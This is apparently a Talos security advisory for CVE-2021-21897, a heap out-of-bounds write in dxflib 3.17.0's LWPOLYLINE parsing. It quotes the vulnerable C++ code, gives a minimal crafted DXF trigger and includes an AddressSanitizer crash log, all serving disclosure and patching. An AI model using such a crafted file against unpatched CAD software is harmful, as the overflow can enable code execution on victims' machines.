Talos Vulnerability Report

TALOS-2021-1346

Ribbonsoft dxflib DL_Dxf::handleLWPolylineData heap-based buffer overflow vulnerability

SEPTEMBER 7, 2021

CVE NUMBER

CVE-2021-21897

SUMMARY

A code execution vulnerability exists in the DL_Dxf::handleLWPolylineData functionality of Ribbonsoft dxflib 3.17.0. A specially-crafted .dxf file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Ribbonsoft dxflib 3.17.0

PRODUCT URLS

dxflib - https://www.qcad.org/en/90-dxflib

CVSSV3 SCORE

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-191 - Integer Underflow (Wrap or Wraparound)

DETAILS

dxflib is a C++ library utilized by QCAD, kicad, and other CAD software to parse DXF files for reading and writing. The DXF file fomat was originally created in 1982 by AutoCAD, and fills the same roll as the newer .dwg file format, mainly describing objects to be drawn.

The .dxf file fomat itself is rather simple, consisting solely of `groupCode`, `groupValue` pairs, separated by a newline. For example:

```
0        // groupCode:  0 => new entity
SECTION  // groupValue: 'SECTION' => type of the new entity
2        // groupCode
HEADER   // groupValue
9        // groupCode
$ACADVER // groupValue
```

Each `groupCode` acts like an opcode, and the `groupValue` is put to an opcode-specific purpose. The backtrace of the codeflow handling this looks like:

```
#0  DL_Dxf::processDXFGroup (this=?, creationInterface=?, groupCode=?, groupValue=...) at dl_dxf.cpp:366                         //[1]
#1  0x00007fb91bf89814 in DL_Dxf::readDxfGroups (this=0x61c000000080, fp=0x615000000580, creationInterface=?) at dl_dxf.cpp:187  //[2]
#2  0x00007fb91bf8955e in DL_Dxf::in (this=0x61c000000080, file=..., creationInterface=?) at dl_dxf.cpp:118                      //[3]
```

Whereby `DL_Dxf::in`[3] reads a file and loops `DL_Dxf::readDxfGroups`[2] until it fails. `DL_Dxf::readDxfGroups` just loops and converts the next two lines of the file (i.e. the next `groupCode` and `groupValue`) into digits and then passes them to `DL_Dxf::processDXFGroup`, which does the `groupCode`/`groupValue` specific processing. A quick example of what this looks like:

```
bool DL_Dxf::processDXFGroup(DL_CreationInterface* creationInterface,
                             int groupCode, const std::string& groupValue) {

// [...]

// Indicates comment or dxflib version:
if (groupCode==999) {
    if (!groupValue.empty()) {
        if (groupValue.substr(0, 6)=="dxflib") {
            libVersion = getLibVersion(groupValue.substr(7));
        }

        addComment(creationInterface, groupValue);  // [1]
    }
}
```

While most of this code is self-explanatory, the line at [1] is not. The `addComment` function calls a function defined by the `creationInterface`, an object that is defined by whatever program is importing dxflib. This point is made only to say that any function starting with `add*` is defined by the program importing dxflib, not by dxflib itself. As such, we ignore all these functions. Everything else that gets processed by dxflib can be found below (all the `handle*` functions):

```
    // Group code does not indicate start of new entity or setting,
     // so this group must be continuation of data for the current
     // one.
     if (groupCode<DL_DXF_MAXGROUPCODE) {

         bool handled = false;

         switch (currentObjectType) {
         case DL_ENTITY_MTEXT:
             handled = handleMTextData(creationInterface);
             break;

         case DL_ENTITY_LWPOLYLINE:
             handled = handleLWPolylineData(creationInterface); // [1]
             break;

         case DL_ENTITY_SPLINE:
             handled = handleSplineData(creationInterface);
             break;

         case DL_ENTITY_LEADER:
             handled = handleLeaderData(creationInterface);
             break;

         case DL_ENTITY_HATCH:
             handled = handleHatchData(creationInterface);
             break;

         case DL_XRECORD:
             handled = handleXRecordData(creationInterface);
             break;

         case DL_DICTIONARY:
             handled = handleDictionaryData(creationInterface);
             break;

         case DL_LINETYPE:
             handled = handleLinetypeData(creationInterface);
             break;

         default:
             break;
         }

         // Always try to handle XData, unless we're in an XData record:
         if (currentObjectType!=DL_XRECORD) {
             handled = handleXData(creationInterface);
         }

         if (!handled) {
             // Normal group / value pair:
             values[groupCode] = groupValue;
         }
```

For this writeup we deal with the `handleLWPolylineData` function at [1], which handles structures constising of four vertices represented by `doubles`. To proceed, the function and then an example `LWPOLYLINE`:

```
bool DL_Dxf::handleLWPolylineData(DL_CreationInterface* /*creationInterface*/) {
// Allocate LWPolyline vertices (group code 90): // [1]
if (groupCode==90) {
    maxVertices = toInt(groupValue);
    if (maxVertices>0) {
        if (vertices!=NULL) {
            delete[] vertices;
        }
        vertices = new double[4*maxVertices]; // [2]
        for (int i=0; i<maxVertices; ++i) {
            vertices[i*4] = 0.0;
            vertices[i*4+1] = 0.0;
            vertices[i*4+2] = 0.0;
            vertices[i*4+3] = 0.0;
        }
    }

    vertexIndex=-1;
    return true;

}

// Process LWPolylines vertices (group codes 10/20/30/42):
else if (groupCode==10 || groupCode==20 ||
         groupCode==30 || groupCode==42) {

    if (vertexIndex<maxVertices-1 && groupCode==10) {
        vertexIndex++;
    }

    if (groupCode<=30) {
        if (vertexIndex>=0 && vertexIndex<maxVertices) {
            vertices[4*vertexIndex + (groupCode/10-1)] = toReal(groupValue); // write one of the first 3 vertex
        }
    } else if (groupCode==42 && vertexIndex<maxVertices) { // vertexIndex is signed, can be -1...
        vertices[4*vertexIndex + 3] = toReal(groupValue);  // oob write here, fully controlled value
    }
    return true;
}
return false; }
```

Once we see an opcode of 90 [1], we allocate a buffer times the next value. Once this buffer has been allocated, we can process further, writing into the buffer with opcodes 10, 20, 30, and 42, each different opcode changing which index to write to. Thus, in the below example, we'd write 1, 2, 3, and 1094795585 to the second set of vertices in the buffer:

```
0
LWPOLYLINE
 90
4
 10
1
 20
2
 30
3
 42
1094795585
```

Something worth noting: when we allocate a buffer via opcode 90, our `vertexIndex` is assigned -1, and if we omit the `groupCode` of `10` from our `LWPOLYLINE` object, we will skip the following section of code:

```
    if (vertexIndex<maxVertices-1 && groupCode==10) {
        vertexIndex++;
    }
```

Thus, with a `LWPOLYLINE` looking something like:

```
0
LWPOLYLINE
 90
4
 42
1094795585
```

We allocate a buffer (4 * 4 * sizeof(double)), but then immediately hit the opcode 42 branch:

```
    } else if (groupCode==42 && vertexIndex<maxVertices) { // [1]
        vertices[4*vertexIndex + 3] = toReal(groupValue);    // [2]
    }
```

Since both `vertexIndex` and `maxVertices` are signed integers, the check becomes `-1 < (value_we_control)`, which will always pass for any positive value we give for `maxVertices` in opcode 90. Thus, when we get to [2], we end up writing a value we control to `vertices[(4*-1)+3]`, which results in an OOB heap write to the first eight bytes before the heap chunk's data. Depending on the heap implimentation, overwriting this space can very quickly lead to code execution.

Crash Information

```
==215422==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6210000050f8 at pc 0x7ffff7d51476 bp 0x7fffffffd150 sp 0x7fffffffd148
[143/343]
WRITE of size 8 at 0x6210000050f8 thread T0
[Detaching after fork from child process 215427]
    #0 0x7ffff7d51475 in DL_Dxf::handleLWPolylineData(DL_CreationInterface*) /root/boop/assorted_fuzzing/kicad/dxflib/dxflib-3.17.0-src/src/dl_dxf.cpp:1455:41
    #1 0x7ffff7d4235e in DL_Dxf::processDXFGroup(DL_CreationInterface*, int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /root/boop/assorted_fuzzing/kicad/dxflib/dxflib-3.17.0-src/src/dl_dxf.cpp:708:27
    #2 0x7ffff7d41813 in DL_Dxf::readDxfGroups(_IO_FILE*, DL_CreationInterface*) /root/boop/assorted_fuzzing/kicad/dxflib/dxflib-3.17.0-src/src/dl_dxf.cpp:187:9
    #3 0x7ffff7d4155d in DL_Dxf::in(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, DL_CreationInterface*) /root/boop/assorted_fuzzing/kicad/dxflib/dxflib-3.17.0-src/src/dl_dxf.cpp:118:16
    #4 0x554ec7 in LLVMFuzzerTestOneInput (/root/boop/assorted_fuzzing/kicad/dxflib/dxf_fuzzer.bin+0x554ec7)
    #5 0x45aa01 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long)
(/root/boop/assorted_fuzzing/kicad/dxflib/dxf_fuzzer.bin+0x45aa01)
    #6 0x446172 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long)
(/root/boop/assorted_fuzzing/kicad/dxflib/dxf_fuzzer.bin+0x446172)
    #7 0x44bc26 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long))
(/root/boop/assorted_fuzzing/kicad/dxflib/dxf_fuzzer.bin+0x44bc26)
    #8 0x4748e2 in main (/root/boop/assorted_fuzzing/kicad/dxflib/dxf_fuzzer.bin+0x4748e2)
    #9 0x7ffff79a40b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #10 0x42083d in _start (/root/boop/assorted_fuzzing/kicad/dxflib/dxf_fuzzer.bin+0x42083d)

0x6210000050f8 is located 8 bytes to the left of 4736-byte region [0x621000005100,0x621000006380)
allocated by thread T0 here:
    #0 0x54fdcd in operator new[](unsigned long) (/root/boop/assorted_fuzzing/kicad/dxflib/dxf_fuzzer.bin+0x54fdcd)
    #1 0x7ffff7d510cc in DL_Dxf::handleLWPolylineData(DL_CreationInterface*) /root/boop/assorted_fuzzing/kicad/dxflib/dxflib-3.17.0-src/src/dl_dxf.cpp:1430:24
    #2 0x7ffff7d4235e in DL_Dxf::processDXFGroup(DL_CreationInterface*, int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /root/boop/assorted_fuzzing/kicad/dxflib/dxflib-3.17.0-src/src/dl_dxf.cpp:708:27
    #3 0x7ffff7d41813 in DL_Dxf::readDxfGroups(_IO_FILE*, DL_CreationInterface*) /root/boop/assorted_fuzzing/kicad/dxflib/dxflib-3.17.0-src/src/dl_dxf.cpp:187:9
    #4 0x7ffff7d4155d in DL_Dxf::in(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, DL_CreationInterface*) /root/boop/assorted_fuzzing/kicad/dxflib/dxflib-3.17.0-src/src/dl_dxf.cpp:118:16
    #5 0x554ec7 in LLVMFuzzerTestOneInput (/root/boop/assorted_fuzzing/kicad/dxflib/dxf_fuzzer.bin+0x554ec7)
    #6 0x45aa01 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long)
(/root/boop/assorted_fuzzing/kicad/dxflib/dxf_fuzzer.bin+0x45aa01)
    #7 0x446172 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long)
(/root/boop/assorted_fuzzing/kicad/dxflib/dxf_fuzzer.bin+0x446172)
    #8 0x44bc26 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long))
(/root/boop/assorted_fuzzing/kicad/dxflib/dxf_fuzzer.bin+0x44bc26)
    #9 0x4748e2 in main (/root/boop/assorted_fuzzing/kicad/dxflib/dxf_fuzzer.bin+0x4748e2)
    #10 0x7ffff79a40b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/boop/assorted_fuzzing/kicad/dxflib/dxflib-3.17.0-src/src/dl_dxf.cpp:1455:41 in
DL_Dxf::handleLWPolylineData(DL_CreationInterface*)
Shadow bytes around the buggy address:
  0x0c427fff89c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fff89d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fff89e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fff89f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fff8a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c427fff8a10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa[fa]
  0x0c427fff8a20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fff8a30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fff8a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fff8a50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fff8a60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==215422==ABORTING
[Thread 0x7ffff3179700 (LWP 215426) exited]
[Inferior 1 (process 215422) exited with code 01]
```

VENDOR RESPONSE

An update is now available in version (3.26.4):

TIMELINE

2021-08-04 - Vendor Disclosure

2021-08-21 - Follow up with vendor

2021-08-27 - Vendor patched

2021-09-07 - Public Release

CREDIT

Discovered by Lilith >_> of Cisco Talos.